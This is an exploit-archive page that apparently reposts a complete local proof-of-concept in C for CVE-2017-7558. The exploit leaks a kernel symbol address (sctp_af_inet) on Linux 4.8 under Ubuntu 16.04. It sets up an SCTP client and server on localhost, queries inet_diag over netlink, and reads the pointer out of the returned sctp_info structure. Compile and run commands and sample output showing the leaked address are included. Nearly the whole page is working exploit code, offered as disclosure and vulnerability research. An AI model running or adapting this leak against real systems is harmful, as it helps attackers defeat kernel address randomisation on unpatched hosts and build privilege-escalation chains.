Linux Kernel 4.8 (Ubuntu 16.04) sctp Kernel Pointer Leak

Linux Kernel version 4.8 on Ubuntu 16.04 suffers from an sctp kernel pointer leak vulnerability.


MD5 | fc9790b1e137cf5ee0cca7cf36225b56

# Exploit Title: Linux Kernel 4.8 (Ubuntu 16.04) - Leak sctp kernel pointer
# Google Dork: -
# Date: 2018-11-20
# Exploit Author: Jinbum Park
# Vendor Homepage: -
# Software Link: -
# Version: Linux Kernel 4.8 (Ubuntu 16.04)
# Tested on: 4.8.0-36-generic #36~16.04.1-Ubuntu SMP Sun Feb 5 09:39:57 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
# CVE: 2017-7558
# Category: Local

/*
* [ Briefs ]
* - CVE-2017-7558 has discovered and reported by Stefano Brivio of the Red Hat. (but, no publicly available exploit)
* - This is local exploit against the CVE-2017-7558.
*
* [ Tested version ]
* - 4.8.0-36-generic #36~16.04.1-Ubuntu SMP Sun Feb 5 09:39:57 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
*
* [ Prerequisites ]
* - sudo apt-get install libsctp-dev
*
* [ Goal ]
* - Leak kernel symbol address of "sctp_af_inet"
*
* [ Run exploit ]
* - $ gcc poc.c -o poc -lsctp -lpthread
* - $ ./poc
* [] Waiting for connection
* [] New client connected
* [] Received data: Hello, Server!
* [] sctp_af_inet address : 0
* [] sctp_af_inet address : ffffffffc0c541e0
* [] sctp_af_inet address : 0
* [] sctp_af_inet address : ffffffffc0c541e0 (leaked kernel pointer)
* - $ sudo cat /proc/kallsyms | grep sctp_af_inet (Check whether leaked pointer value is corret)
* ffffffffc0c541e0 d sctp_af_inet [sctp]
*
* [ Contact ]
* - [email protected]
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <asm/types.h>
#include <sys/socket.h>
#include <linux/netlink.h>
#include <linux/rtnetlink.h>
#include <netinet/in.h>
#include <linux/tcp.h>
#include <linux/sock_diag.h>
#include <linux/inet_diag.h>
#include <netinet/sctp.h>
#include <arpa/inet.h>
#include <pwd.h>
#include <pthread.h>
#include <errno.h>

#define MY_PORT_NUM 62324

struct sctp_info {
__u32 sctpi_tag;
__u32 sctpi_state;
__u32 sctpi_rwnd;
__u16 sctpi_unackdata;
__u16 sctpi_penddata;
__u16 sctpi_instrms;
__u16 sctpi_outstrms;
__u32 sctpi_fragmentation_point;
__u32 sctpi_inqueue;
__u32 sctpi_outqueue;
__u32 sctpi_overall_error;
__u32 sctpi_max_burst;
__u32 sctpi_maxseg;
__u32 sctpi_peer_rwnd;
__u32 sctpi_peer_tag;
__u8 sctpi_peer_capable;
__u8 sctpi_peer_sack;
__u16 __reserved1;

/* assoc status info */
__u64 sctpi_isacks;
__u64 sctpi_osacks;
__u64 sctpi_opackets;
__u64 sctpi_ipackets;
__u64 sctpi_rtxchunks;
__u64 sctpi_outofseqtsns;
__u64 sctpi_idupchunks;
__u64 sctpi_gapcnt;
__u64 sctpi_ouodchunks;
__u64 sctpi_iuodchunks;
__u64 sctpi_oodchunks;
__u64 sctpi_iodchunks;
__u64 sctpi_octrlchunks;
__u64 sctpi_ictrlchunks;

/* primary transport info */
struct sockaddr_storage sctpi_p_address;
__s32 sctpi_p_state;
__u32 sctpi_p_cwnd;
__u32 sctpi_p_srtt;
__u32 sctpi_p_rto;
__u32 sctpi_p_hbinterval;
__u32 sctpi_p_pathmaxrxt;
__u32 sctpi_p_sackdelay;
__u32 sctpi_p_sackfreq;
__u32 sctpi_p_ssthresh;
__u32 sctpi_p_partial_bytes_acked;
__u32 sctpi_p_flight_size;
__u16 sctpi_p_error;
__u16 __reserved2;

/* sctp sock info */
__u32 sctpi_s_autoclose;
__u32 sctpi_s_adaptation_ind;
__u32 sctpi_s_pd_point;
__u8 sctpi_s_nodelay;
__u8 sctpi_s_disable_fragments;
__u8 sctpi_s_v4mapped;
__u8 sctpi_s_frag_interleave;
__u32 sctpi_s_type;
__u32 __reserved3;
};

enum {
SS_UNKNOWN,
SS_ESTABLISHED,
SS_SYN_SENT,
SS_SYN_RECV,
SS_FIN_WAIT1,
SS_FIN_WAIT2,
SS_TIME_WAIT,
SS_CLOSE,
SS_CLOSE_WAIT,
SS_LAST_ACK,
SS_LISTEN,
SS_CLOSING,
SS_MAX
};

enum sctp_state {
SCTP_STATE_CLOSED = 0,
SCTP_STATE_COOKIE_WAIT = 1,
SCTP_STATE_COOKIE_ECHOED = 2,
SCTP_STATE_ESTABLISHED = 3,
SCTP_STATE_SHUTDOWN_PENDING = 4,
SCTP_STATE_SHUTDOWN_SENT = 5,
SCTP_STATE_SHUTDOWN_RECEIVED = 6,
SCTP_STATE_SHUTDOWN_ACK_SENT = 7,
};

enum {
TCP_ESTABLISHED = 1,
TCP_SYN_SENT,
TCP_SYN_RECV,
TCP_FIN_WAIT1,
TCP_FIN_WAIT2,
TCP_TIME_WAIT,
TCP_CLOSE,
TCP_CLOSE_WAIT,
TCP_LAST_ACK,
TCP_LISTEN,
TCP_CLOSING, /* Now a valid state */
TCP_NEW_SYN_RECV,

TCP_MAX_STATES /* Leave at the end! */
};

enum sctp_sock_state {
SCTP_SS_CLOSED = TCP_CLOSE,
SCTP_SS_LISTENING = TCP_LISTEN,
SCTP_SS_ESTABLISHING = TCP_SYN_SENT,
SCTP_SS_ESTABLISHED = TCP_ESTABLISHED,
SCTP_SS_CLOSING = TCP_CLOSE_WAIT,
};

static volatile int servser_stop_flag = 0;
static volatile int client_stop_flag = 0;

static void *server_thread(void *arg) {
int listen_fd, conn_fd, flags, ret, in;
char buffer[1024];
struct sctp_sndrcvinfo sndrcvinfo;
struct sockaddr_in servaddr = {
.sin_family = AF_INET,
.sin_addr.s_addr = htonl(INADDR_ANY),
.sin_port = htons(MY_PORT_NUM),
};
struct sctp_initmsg initmsg = {
.sinit_num_ostreams = 5,
.sinit_max_instreams = 5,
.sinit_max_attempts = 4,
};

listen_fd = socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP);
if (listen_fd < 0)
return NULL;

ret = bind(listen_fd, (struct sockaddr *) &servaddr, sizeof(servaddr));
if (ret < 0)
return NULL;

ret = setsockopt(listen_fd, IPPROTO_SCTP, SCTP_INITMSG, &initmsg, sizeof(initmsg));
if (ret < 0)
return NULL;

ret = listen(listen_fd, initmsg.sinit_max_instreams);
if (ret < 0)
return NULL;

printf("[] Waiting for connection\n");

conn_fd = accept(listen_fd, (struct sockaddr *) NULL, NULL);
if(conn_fd < 0)
return NULL;

printf("[] New client connected\n");

in = sctp_recvmsg(conn_fd, buffer, sizeof(buffer), NULL, 0, &sndrcvinfo, &flags);
if (in > 0) {
printf("[] Received data: %s\n", buffer);
}

while (servser_stop_flag == 0)
sleep(1);

close(conn_fd);
return NULL;
}

static void *client_thread(void *arg) {
int conn_fd, ret;
const char *msg = "Hello, Server!";
struct sockaddr_in servaddr = {
.sin_family = AF_INET,
.sin_port = htons(MY_PORT_NUM),
.sin_addr.s_addr = inet_addr("127.0.0.1"),
};

conn_fd = socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP);
if (conn_fd < 0)
return NULL;

ret = connect(conn_fd, (struct sockaddr *) &servaddr, sizeof(servaddr));
if (ret < 0)
return NULL;

ret = sctp_sendmsg(conn_fd, (void *) msg, strlen(msg) + 1, NULL, 0, 0, 0, 0, 0, 0 );
if (ret < 0)
return NULL;

while (client_stop_flag == 0)
sleep(1);

close(conn_fd);
return NULL;
}

//Copied from libmnl source
#define SOCKET_BUFFER_SIZE (getpagesize() < 8192L ? getpagesize() : 8192L)

int send_diag_msg(int sockfd){
struct msghdr msg;
struct nlmsghdr nlh;
struct inet_diag_req_v2 conn_req;
struct sockaddr_nl sa;
struct iovec iov[4];
int retval = 0;

//For the filter
struct rtattr rta;
void *filter_mem = NULL;
int filter_len = 0;

memset(&msg, 0, sizeof(msg));
memset(&sa, 0, sizeof(sa));
memset(&nlh, 0, sizeof(nlh));
memset(&conn_req, 0, sizeof(conn_req));

sa.nl_family = AF_NETLINK;

conn_req.sdiag_family = AF_INET;
conn_req.sdiag_protocol = IPPROTO_SCTP;
conn_req.idiag_states = SCTP_SS_CLOSED;
conn_req.idiag_ext |= (1 << (INET_DIAG_INFO - 1));

nlh.nlmsg_len = NLMSG_LENGTH(sizeof(conn_req));
nlh.nlmsg_flags = NLM_F_DUMP | NLM_F_REQUEST;

nlh.nlmsg_type = SOCK_DIAG_BY_FAMILY;
iov[0].iov_base = (void*) &nlh;
iov[0].iov_len = sizeof(nlh);
iov[1].iov_base = (void*) &conn_req;
iov[1].iov_len = sizeof(conn_req);

//Set essage correctly
msg.msg_name = (void*) &sa;
msg.msg_namelen = sizeof(sa);
msg.msg_iov = iov;
if(filter_mem == NULL)
msg.msg_iovlen = 2;
else
msg.msg_iovlen = 4;

retval = sendmsg(sockfd, &msg, 0);

if(filter_mem != NULL)
free(filter_mem);

return retval;
}

void parse_diag_msg(struct inet_diag_msg *diag_msg, int rtalen){
struct rtattr *attr;
struct sctp_info *sctpi;
int i;
unsigned char *ptr;

if(diag_msg->idiag_family != AF_INET && diag_msg->idiag_family != AF_INET6) {
fprintf(stderr, "Unknown family\n");
return;
}

if(rtalen > 0){
attr = (struct rtattr*) (diag_msg+1);

while(RTA_OK(attr, rtalen)){
if(attr->rta_type == INET_DIAG_INFO){
// leak kernel pointer here!!
sctpi = (struct sctp_info*) RTA_DATA(attr);
ptr = ((unsigned char *)&sctpi->sctpi_p_address + 32);
printf("[] sctp_af_inet address : %lx\n", *(unsigned long *)ptr);
}
attr = RTA_NEXT(attr, rtalen);
}
}
}

int main(int argc, char *argv[]){
int nl_sock = 0, numbytes = 0, rtalen = 0;
struct nlmsghdr *nlh;
uint8_t recv_buf[SOCKET_BUFFER_SIZE];
struct inet_diag_msg *diag_msg;
pthread_t sctp_server;
pthread_t sctp_client;

// run sctp server & client
if (pthread_create(&sctp_server, NULL, server_thread, NULL))
return EXIT_FAILURE;
sleep(2);

if (pthread_create(&sctp_client, NULL, client_thread, NULL))
return EXIT_FAILURE;
sleep(2);

// run inet_diag
if((nl_sock = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_INET_DIAG)) == -1){
perror("socket: ");
return EXIT_FAILURE;
}

if(send_diag_msg(nl_sock) < 0){
perror("sendmsg: ");
return EXIT_FAILURE;
}

while(1){
numbytes = recv(nl_sock, recv_buf, sizeof(recv_buf), 0);
nlh = (struct nlmsghdr*) recv_buf;

while(NLMSG_OK(nlh, numbytes)){
if(nlh->nlmsg_type == NLMSG_DONE) {
return EXIT_SUCCESS;
}

if(nlh->nlmsg_type == NLMSG_ERROR){
fprintf(stderr, "Error in netlink message\n");
return EXIT_FAILURE;
}

diag_msg = (struct inet_diag_msg*) NLMSG_DATA(nlh);
rtalen = nlh->nlmsg_len - NLMSG_LENGTH(sizeof(*diag_msg));
parse_diag_msg(diag_msg, rtalen);

nlh = NLMSG_NEXT(nlh, numbytes);
}
}
printf("loop next\n");

// exit threads
client_stop_flag = 1;
if (pthread_join(sctp_client, NULL))
return EXIT_FAILURE;

servser_stop_flag = 1;
if (pthread_join(sctp_server, NULL))
return EXIT_FAILURE;

printf("end\n");
return EXIT_SUCCESS;
}



Related Posts